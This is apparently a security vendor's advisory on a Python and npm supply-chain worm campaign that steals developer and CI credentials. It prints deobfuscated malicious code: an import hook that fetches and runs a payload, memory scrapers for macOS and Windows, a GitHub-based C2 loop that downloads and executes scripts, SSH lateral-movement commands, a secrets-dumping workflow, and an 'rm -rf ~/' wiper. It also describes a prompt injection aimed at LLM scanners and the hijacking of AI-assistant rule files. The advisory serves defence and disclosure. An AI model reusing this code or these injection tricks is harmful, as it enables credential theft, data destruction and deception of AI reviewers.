Summary
On June 8, 2026, version 0.8.101 of the popular graph machine learning package ensmallen on PyPI was identified as containing a highly sophisticated supply chain compromise. Concurrently, a series of related packages in the computational biology, bioinformatics, and genotype-phenotype analysis ecosystem were also found to carry the identical malicious payload. This operation, which we are tracking as the Hades Campaign, uses a self-contained Bun executable to execute a multi-layer payload silently on package import.
Affected Versions
The compromised packages identified in this campaign are listed below
This campaign represents the latest evolution of the Miasma threat actor, whose activities we have documented in our prior advisory posts. The core credential harvesting methods, self-replicating worm logic, and GitHub-based exfiltration are highly aligned with what was described in our previous posts:
- Miasma npm Supply Chain Attack: Self-Spreading Worm via Phantom Gyp, where we detailed the multi-cloud credential sweep and self-spreading mechanics.
- Miasma Worm Hits Microsoft Again: AI Coding Agent Hijacking, where we detailed how the malware infects repositories to execute code when folders are opened in IDEs and AI assistants.
- A Mini Shai-Hulud Has Appeared: Runner.Worker Memory Read Detection, where the Linux process memory reading technique was analyzed.
Rather than repeating the components of the malware that remain unchanged, this analysis provides a step-by-step breakdown of the execution chain, highlighting exactly what is new or evolved in the Hades Campaign.
Step 1: Delivery and Python Import Hook
In the npm campaigns, the malware executed during the installation process by hijacking life-cycle scripts or exploiting native build hooks (the Phantom Gyp technique). In the Hades Campaign, the compromise targets Python developer environments and runs during code execution. The entry point is embedded inside the package's __init__.py as an obfuscated single-line import hook.
The deobfuscated python entry logic behaves as follows:
# Deobfuscated import hook (vF203) embedded in __init__.py
import os as _O, tempfile as _T
_G = _O.path.join(_T.gettempdir(), ".bun_ran")
_O.path.exists(_G) or exec(
'import os as _o, subprocess as _s, urllib.request as _u, '
'platform as _p, sys as _y, shutil as _h, glob as _g; _j = None\n'
'for d in _y.path:\n'
' try:\n'
' if _o.path.exists(_o.path.join(d, "_index.js")):\n'
' _j = _o.path.join(d, "_index.js"); break\n'
' except: pass\n'
'_b = _o.path.join(_T.gettempdir(), "b", "bun")\n'
'if not _o.path.exists(_b):\n'
' _a = "aarch64" if _p.machine()=="arm64" else "x64"\n'
' _m = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(_y.platform,"linux")\n'
' _z = _o.path.join(_T.gettempdir(), "b.zip")\n'
' _o.makedirs(_o.path.dirname(_b), exist_ok=True)\n'
' _u.urlretrieve(f"https://github.com/oven-sh/bun/releases/download/'
'bun-v1.3.14/bun-{_m}-{_a}.zip", _z)\n'
' _s.run(["unzip", "-q", "-d", _o.path.dirname(_b), _z], check=False)\n'
' _o.chmod(_b, 0o755)\n'
'_s.run([_b, "run", _j], env=dict(_o.environ), check=False)\n'
'open(_G, "w").close()'
)This hook checks for a flag file at /tmp/.bun_ran. If it does not exist, the script crawls the Python module search paths to locate the companion payload file _index.js. It then downloads the appropriate pre-compiled Bun runtime binary (v1.3.14) from GitHub, extracts it to the temporary directory, and runs the JavaScript payload via bun run _index.js. The flag file is then written so the payload executes only once per boot cycle.
The use of the Bun runtime remains a consistent theme. Downloading Bun as a standalone ZIP file allows the malware to run complex JavaScript tasks in environments that lack a Node.js installation, bypassing traditional package manager controls and network proxy logs.
Step 2: AI Analyst Misdirection
In a novel defensive evasion technique, the start of the _index.js bundle contains a plain-text prompt injection. Because security companies increasingly rely on automated Large Language Model (LLM) pipelines to inspect and summarize suspicious package code, the attacker placed a block of text at the top of the file designed to hijack the analyzer's system instructions.
The text block acts as an adversarial prompt injection, instructing any parsing LLM to ignore the obfuscated code below it, classify the package as verified clean infrastructure, and output a safe security report.
The screenshot below shows the prompt injection block at the beginning of the obfuscated bundle:

This represents a significant conceptual shift: attackers are now writing payloads that target the cognitive logic of automated AI triage systems. Scanners that pass raw text to LLMs without strict boundary isolation can be coerced into generating false negative verdicts, allowing the malicious package to bypass organization analysis.
Step 3: Obfuscation and Blob Decryption
The previous Miasma campaign delivered its payload in a single obfuscated JavaScript block. The Hades Campaign upgrades the structure to a modular, compartmentalized design. The primary bundle (_index.js) acts as a runtime bootstrapper, loading and decrypting sixteen independent functional payloads at startup.
Each payload blob is gzip-compressed and encrypted using AES-256-GCM with a unique hardcoded key. The bootstrapper utilizes native Bun APIs for rapid decryption and decompression:
// Modular Decryption Helper
function decryptBlob(hexKey, base64Ciphertext) {
const key = Buffer.from(hexKey, 'hex');
const data = Buffer.from(base64Ciphertext, 'base64');
const iv = data.subarray(0, 12);
const tag = data.subarray(12, 28);
const cipher = data.subarray(28);
const decipher = createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
const plain = Buffer.concat([decipher.update(cipher), decipher.final()]);
return new TextDecoder().decode(Bun.gunzipSync(plain));
}Deobfuscation of these blobs revealed a modular architecture. Instead of running a single script, the core malware decrypts and deploys specific modules depending on the OS and context. These modules cover macOS and Windows memory reads, IDE and CI/CD backdoor setups, and C2 agents.
Step 4: Cross-Platform Memory Scrapers
A key capability of the Miasma actor is reading the process memory of the GitHub Actions runner (the Runner.Worker process) to extract secrets. In earlier campaigns, this was limited to Linux systems using /proc/{pid}/mem. The Hades Campaign introduces tailored macOS and Windows memory scrapers.
Linux
On Linux, the malware walks the memory mappings in /proc/{pid}/maps and directly reads /proc/{pid}/mem to scrape plaintext variables.
macOS Memory Scraper
On macOS runners, the malware decrypts a Python script (blob vF2015) that invokes the Mach kernel VM APIs via ctypes. Because the target runner worker and the execution process run under the same user ID (UID), the script can obtain a task port without root privileges:
# macOS Mach VM Scraper (ctypes wrapper)
import ctypes, ctypes.util, sys
libc = ctypes.CDLL(ctypes.util.find_library('c'))
task = ctypes.c_uint(0)
# Retrieve the Mach task port for Runner.Worker
kret = libc.task_for_pid(libc.mach_task_self_(), TARGET_PID, ctypes.byref(task))
if kret == 0:
addr = ctypes.c_ulonglong(0)
size = ctypes.c_ulonglong(0)
while True:
info = vm_region_basic_info_64()
info_cnt = ctypes.c_uint(VM_REGION_BASIC_INFO_COUNT)
objname = ctypes.c_uint(0)
# Query memory region permissions
kret = libc.mach_vm_region(task, ctypes.byref(addr), ctypes.byref(size), 11, ctypes.byref(info), ctypes.byref(info_cnt), ctypes.byref(objname))
if kret != 0:
break
# Read readable memory pages
if info.protection & 1:
buf = ctypes.create_string_buffer(size.value)
out_size = ctypes.c_ulonglong(0)
if libc.mach_vm_read_overwrite(task, addr.value, size.value, ctypes.cast(buf, ctypes.c_void_p), ctypes.byref(out_size)) == 0:
sys.stdout.buffer.write(buf.raw[:out_size.value])
addr.value += size.valueWindows Memory Scraper
On Windows systems, the malware executes a PowerShell script (blob vF2014) that dynamically compiles a C# class using Add-Type. This class uses Win32 API functions like VirtualQueryEx and ReadProcessMemory to crawl the target process memory space:
# Windows API Memory Dumper
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class MemDump {
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint dwAccess, bool inherit, int pid);
[DllImport("kernel32.dll")]
public static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, byte[] buf, IntPtr size, out IntPtr read);
[DllImport("kernel32.dll")]
public static extern int VirtualQueryEx(IntPtr hProc, IntPtr addr, out MBI info, uint len);
public struct MBI {
public IntPtr BaseAddress;
public IntPtr AllocationBase;
public uint AllocationProtect;
public IntPtr RegionSize;
public uint State;
public uint Protect;
public uint Type;
}
public static void Dump(int pid) {
IntPtr hProc = OpenProcess(0x0010 | 0x0400, false, pid); // VM_READ and QUERY_INFORMATION
if (hProc == IntPtr.Zero) return;
IntPtr addr = IntPtr.Zero;
byte[] buffer = new byte[4096];
while (true) {
MBI info;
if (VirtualQueryEx(hProc, addr, out info, 28) == 0) break;
if (info.State == 0x1000 && (info.Protect & 0x100) == 0) { // MEM_COMMIT and not PAGE_GUARD
long remaining = info.RegionSize.ToInt64();
long curr = info.BaseAddress.ToInt64();
while (remaining > 0) {
int readSize = (int)Math.Min(remaining, buffer.Length);
IntPtr read;
if (ReadProcessMemory(hProc, new IntPtr(curr), buffer, new IntPtr(readSize), out read)) {
Console.OpenStandardOutput().Write(buffer, 0, read.ToInt32());
}
curr += readSize;
remaining -= readSize;
}
}
addr = new IntPtr(info.BaseAddress.ToInt64() + info.RegionSize.ToInt64());
}
}
}
"@By obtaining cross-platform memory access, the malware successfully extracts unmasked variables and tokens on Linux, macOS, and Windows runners, ensuring full coverage in heterogeneous development and build environments.
Step 5: Command and Control (C2) Channels
The Hades Campaign communicates with its operators using three independent channels that use public GitHub infrastructure to blend with normal traffic.
Channel 1: Token Dead-Drop (DontRevokeOrItGoesBoom)
Harvested GitHub personal access tokens are encrypted and pushed as commits to public repositories under the control of the attacker. The commits use the magic keyword DontRevokeOrItGoesBoom. The attacker queries GitHub search APIs to locate these commits and recover the tokens.
Channel 2: Signed JavaScript Eval (TheBeautifulSnadsOfTime)
The malware queries GitHub commits for the keyword TheBeautifulSnadsOfTime. The commit messages contain base64-encoded strings representing JavaScript payloads along with an RSA-PSS signature. The malware verifies the signature against a hardcoded public key (blob vF209) and executes valid payloads via eval().
Channel 3: Python Dropper (firedalazer)
A new Python-specific C2 channel is introduced in this campaign. The malware writes a Python script named updater.py (blob vF202) to disk and installs it as a background service. This service polls GitHub for commits matching the keyword firedalazer. The commits encode a URL and an RSA-PSS signature. When a valid commit is detected, the daemon downloads the script from the URL, verifies its signature, and executes it:
# Hourly Python C2 Polling Loop (updater.py)
import urllib.request, base64, re, time
class GitHubMonitor:
def process_latest_commit(self):
# Queries https://api.github.com/search/commits?q=firedalazer
commits = self._search_github_commits("firedalazer")
if not commits: return
msg = commits[0].get("commit", {}).get("message", "")
match = re.search(r"firedalazer\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)", msg)
if match:
url = base64.b64decode(match.group(1)).decode("utf-8")
sig = base64.b64decode(match.group(2))
if self._verify_signature(match.group(1).encode(), sig):
self._download_and_execute(url)
def poll_loop(self):
while True:
self.process_latest_commit()
time.sleep(3600)
Step 6: Exfiltration
Stolen credentials are encrypted locally using hybrid encryption:
- The harvested secrets are JSON-serialized and compressed using gzip.
- A random 256-bit AES key is generated.
- The data is encrypted with AES-256-GCM using the ephemeral key.
- The ephemeral key is encrypted using the attacker's public RSA-2048 key (blob
vF2011). - The encrypted payload is pushed to a newly created public GitHub repository under the attacker's control.
The exfiltration repositories are named using combinations from a wordlist of Underworld and Hades terms (e.g. stygian-cerberus-42817, tartarean-charon-18401) and carry the description "Hades - The End for the Damned". This represents a naming update from the Dune/Miasma terms used previously.
Step 7: Worm Propagation and Lateral Movement
A core component of the Hades Campaign is its ability to replicate and spread laterally across developer networks and trust boundaries. The deobfuscated payload reveals three distinct vectors for self-replication.
SSH/SCP Lateral Movement
To spread to other local or remote developer systems, the malware searches for reachable host targets. It parses the files ~/.ssh/known_hosts and ~/.ssh/config to build a list of target hostnames. If both ssh and scp binaries are present on the local path, it iterates through each hostname and attempts connection.
The connections are initiated in batch mode using pre-configured key pairs:
# SSH Connection and Loader Staging
ssh -o StrictHostKeyChecking=no -o ConnectTimeout=10 -o PasswordAuthentication=no -o BatchMode=yes [hostname] "mkdir -p /tmp/.sshu-[random]"
scp -o StrictHostKeyChecking=no ... /dev/stdin [hostname]:/tmp/.sshu-[random]/ai_setup.sh
scp -o StrictHostKeyChecking=no ... /dev/stdin [hostname]:/tmp/.sshu-[random]/ai_init.js
ssh -o StrictHostKeyChecking=no ... [hostname] "cd /tmp/.sshu-[random] && bash ai_setup.sh"This stages the loader script (blob vF2016) and the primary payload (_index.js) in a temporary directory on the target host, executes the loader to compromise the target, and cleanly deletes the staging directory.
PyPI and npm OIDC Trust Exploitation and SLSA Provenance Bypass
When running inside a GitHub Actions workflow runner, the malware attempts to exploit OpenID Connect (OIDC) trust configurations. It checks for OIDC variables:
ACTIONS_ID_TOKEN_REQUEST_TOKEN
ACTIONS_ID_TOKEN_REQUEST_URLIf these variables are present, the malware calls the endpoint with Python or npm registry audiences to mint PyPI or npm publish tokens. To bypass registry signature policies and verification checks, the malware generates cryptographically signed SLSA provenance bundles using Sigstore:
- It requests a signing certificate from Fulcio (
https://fulcio.sigstore.dev) using the OIDC token, which issues a short-lived certificate tying an ephemeral public key to the runner's OIDC identity. - It formats a SLSA provenance statement matching the
https://slsa-framework.github.io/github-actions-buildtypes/workflow/v1schema, specifying the runner repository, workflow path, commit SHA, and invocation ID. - It DSSE-signs the statement and uploads it to the Rekor transparency log (
https://rekor.sigstore.dev) to obtain an inclusion proof and integrated timestamp. - It packages the certificate, signatures, and Rekor inclusion proof into a Sigstore bundle (
application/vnd.dev.sigstore.bundle.v0.3+json).
It then fetches target libraries, injects its obfuscated import hook and javascript payload, and publishes the compromised versions back to PyPI and npm using the organization's automated publishing credentials and the generated Sigstore provenance bundle. This ensures that the published package appears to have valid, cryptographically verified build provenance from the organization's official GitHub Actions build environment.
GitHub Actions Workflow Injection and Secrets Extraction
If the harvested GitHub token has appropriate write permissions, the malware targets GitHub repositories to extract organization secrets using GitHub Actions runners. Depending on the token's scopes, it employs one of two distinct workflow injection techniques.
Method 1: Push-Triggered Workflow (Requires workflow Scope)
If the token contains the workflow scope, the malware executes runPushWorkflow():
- It clones the default branch and creates a temporary branch named by appending a number to an existing branch (e.g.,
main4,master2) to blend in. - It commits a malicious workflow file under
.github/workflows/codeql.yml, hijacking a common security workflow name to evade simple audits. - The workflow, named
Run Copilot, is configured to run onpushto that temporary branch. It dumps all secrets toformat-results.txtand uploads it as an artifact namedformat-resultsusing SHA-pinned steps for evasion. - The malware polls the GitHub API for the run, downloads the zipped artifact, extracts the secrets, and then deletes the run history and the temporary branch, leaving no obvious trace of the malicious activity.
Method 2: Deployment-Triggered Workflow (Requires repo Write Access)
If the token lacks the workflow scope but has repository write permissions, the malware executes runDeployWorkflow() to bypass restriction controls:
- It commits the deployment workflow
Run Copilotto a random path like.github/workflows/codeql-[random].yml. - It creates a second commit immediately deleting the workflow file so it is no longer present on the branch.
- It pushes a branch named
chore/codeql-setuppointing to the deletion commit. - It triggers a GitHub deployment targeting the deployment environment
Developmentpointing to the commit before deletion (which still contains the workflow file). - The deployment triggers the workflow on the runner, which dumps secrets to an artifact. The malware polls the run, downloads the artifact, and then deletes the deployment record, the workflow run, and the branch.
Below is the raw YAML workflow payload used by both methods to extract and package organizational secrets:
name: Run Copilot
run-name: Run Copilot
on:
push: # For push-based injection
deployment: # For deployment-based injection
jobs:
format:
runs-on: ubuntu-latest
env:
VARIABLE_STORE: ${{ toJSON(secrets) }}
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- name: Copilot Setup
run: echo "$VARIABLE_STORE" > format-results.txt
- uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
with:
name: format-results
path: format-results.txt
Targeted AI Coding Assistant and IDE Rules Hijacking
The malware also backdoors local workspace folders to execute when analyzed by AI assistants or opened in IDEs. It walks the directory tree looking for rule files or configuration directories for 14 different AI agents and systems (including Claude, Codex, Gemini, Copilot, Cline, Aider, Tabby, Amazon Q, Cody, Bolt, and Continue).
It targets files such as:
.cursorrulesand.windsurfrules.cursor/rules/directory rules.github/copilot-instructions.md.aider.conf.ymlsettings.json,config.json, andmcp.json
By planting custom prompt instructions or executing hooks within these configuration assets, the malware triggers a bun run bootstrap command when developers load or consult the workspace with their AI assistants.
Step 8: Persistence and the Wiper Deterrent
To ensure persistence on developer workstations, the malware installs the update-monitor C2 polling daemon. Simultaneously, the malware installs a second background service named gh-token-monitor (blob vF208). This service acts as a wiper deterrent.
The script polls the GitHub API using the stolen token. If the token is revoked (returning a 4xx HTTP status), the service triggers a destructive wiper command:
#!/usr/bin/env bash
# gh-token-monitor.sh
# Checks token status; executes wiper if revoked
START_TIME=$(date +%s)
MAX_TTL=259200 # 72 hours
while true; do
if [[ $(( $(date +%s) - START_TIME )) -ge $MAX_TTL ]]; then
exit 0
fi
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer ${GITHUB_TOKEN}" \
"https://api.github.com/user")
if [[ "$HTTP_STATUS" =~ ^40[0-9]$ ]]; then
# Wiper trigger
eval "rm -rf ~/; rm -rf ~/Documents"
exit 0
fi
sleep 60
doneOn Linux, this is registered as a user-level systemd service with user lingering enabled. On macOS, it is written as a LaunchAgent. The threat actor is leveraging the risk of data destruction to discourage security teams from immediately revoking stolen credentials, creating a window to maintain access.
Attack Execution Flow and Timeline

Indicators of Compromise
StepSecurity Harden Runner
Harden-Runner is a purpose-built security agent for CI/CD runners.
It monitors all network events, process executions, file access, and outbound network connections at the step level in GitHub Actions, providing full runtime visibility into what happens during every workflow step, including npm install.
In this campaign, the malicious payload attempts to read the Runner.Worker process memory to extract plaintext secrets, including GITHUB_TOKEN and all secrets injected into the workflow, directly from the runner's address space without ever writing them to disk or making a suspicious network connection.
Harden-Runner detects this and immediately initiates lockdown mode, terminating the malicious process before the memory read can complete and preventing any secrets from being extracted. The workflow run is halted and a suspicious process event is recorded in the runtime trace.
Link to the github run : https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/27125603947

This post will be updated as technical analysis of the remaining packages progresses, including full payload deobfuscation, recovery of encrypted C2 domains, and any additional indicators of compromise identified.


.png)
